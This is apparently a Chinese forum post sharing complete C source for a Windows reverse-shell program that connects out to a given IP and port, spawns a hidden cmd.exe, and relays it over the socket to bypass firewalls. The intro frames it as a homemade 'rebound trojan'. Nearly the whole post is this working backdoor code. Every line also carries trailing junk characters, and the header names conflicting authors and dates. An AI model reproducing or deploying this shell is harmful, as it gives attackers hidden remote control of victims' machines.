这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q5BJsw
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/* ============================== 90k|W>
Rebound port in Windows NT 2
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By wind,2006/7 itm;, Sbg
===============================*/ ?fXg_?+{'g
#include lBR6O!sBP
#include G 8uX[-L1
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#pragma comment(lib,"wsock32.lib") `tVBV:4\
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void OutputShell(); X-3L4@T:?
SOCKET sClient; ,'Y*e[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YM 7P!8Gc
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void main(int argc,char **argv) C0 .Xp
{ :B$=Pp1
WSADATA stWsaData; h"l{cDk
int nRet; N?kXATB
SOCKADDR_IN stSaiClient,stSaiServer; R{#-IH="
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if(argc != 3) r4J4|&ym
{ _L_SNjA_
printf("Useage:\n\rRebound DestIP DestPort\n"); vD:.1,72
return; csRba;Z[
} PaMi5Pq
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WSAStartup(MAKEWORD(2,2),&stWsaData); (Uv{%q.n6
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tOnaD]J
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stSaiClient.sin_family = AF_INET; I4m)5G?O2
stSaiClient.sin_port = htons(0); 2}[rc%tV:?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $]|_xG-6{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y|.wL=;
{ .NCQiQ
printf("Bind Socket Failed!\n"); aZ5qq+1x
return; EQ?4?
} 7; TS
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stSaiServer.sin_family = AF_INET; A~*Wr+pv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sFSrMI#R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vIN6W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |g8
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{ g\rujxHlH
printf("Connect Error!"); PA`b~Ct
return; jd]MC*%
} "N4c>2Q
OutputShell(); wLkHU"'
} m$QFtrvy
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void OutputShell() "
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{ /Klwh1E
char szBuff[1024]; n0!S;HH-
SECURITY_ATTRIBUTES stSecurityAttributes; 8'^eH1d'
OSVERSIONINFO stOsversionInfo; oWs&W
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %m+Z rH(
STARTUPINFO stStartupInfo; lba*&j]w=
char *szShell; Ko/_w_
PROCESS_INFORMATION stProcessInformation; vk{4:^6.TV
unsigned long lBytesRead; ;1(OC-2>d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kwWO1=ikz@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BOt\"N
stSecurityAttributes.lpSecurityDescriptor = 0; 5wGyM10
stSecurityAttributes.bInheritHandle = TRUE; ^,U&v;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2"BlV*\lS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KxJJ?WyM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yd/qcC(&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V#3VRh
stStartupInfo.wShowWindow = SW_HIDE; 2cy{d|c
stStartupInfo.hStdInput = hReadPipe; [K"v)B'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HnOF_Twq
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GetVersionEx(&stOsversionInfo); 2{U4wTu
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switch(stOsversionInfo.dwPlatformId) l#Qf8*0
{ AiO,zjM =
case 1: [oKB1GkA
szShell = "command.com"; K32eZv`T7
break; 7[u&%
default: sjaG%f&h
szShell = "cmd.exe"; f5sk,Z
break; 8Oc*<^{#
} F6q}(+9i
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *qpmI9m
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send(sClient,szMsg,77,0); i uN8gHx
while(1) 08.dV<P
{ d6M
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cDAO5^
if(lBytesRead) $"_D"/*
{ Z ,T TI>P
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =x[`W9.D
send(sClient,szBuff,lBytesRead,0); hob%'Y5%D
} V}aXS;(r%
else wz:w R+
{ JH?[hb
lBytesRead=recv(sClient,szBuff,1024,0); d}WAP m
if(lBytesRead<=0) break; re^1fv
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0} {QQB
} H:~LL0Md%
} hPEK@
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return; fY-{,+ `'
}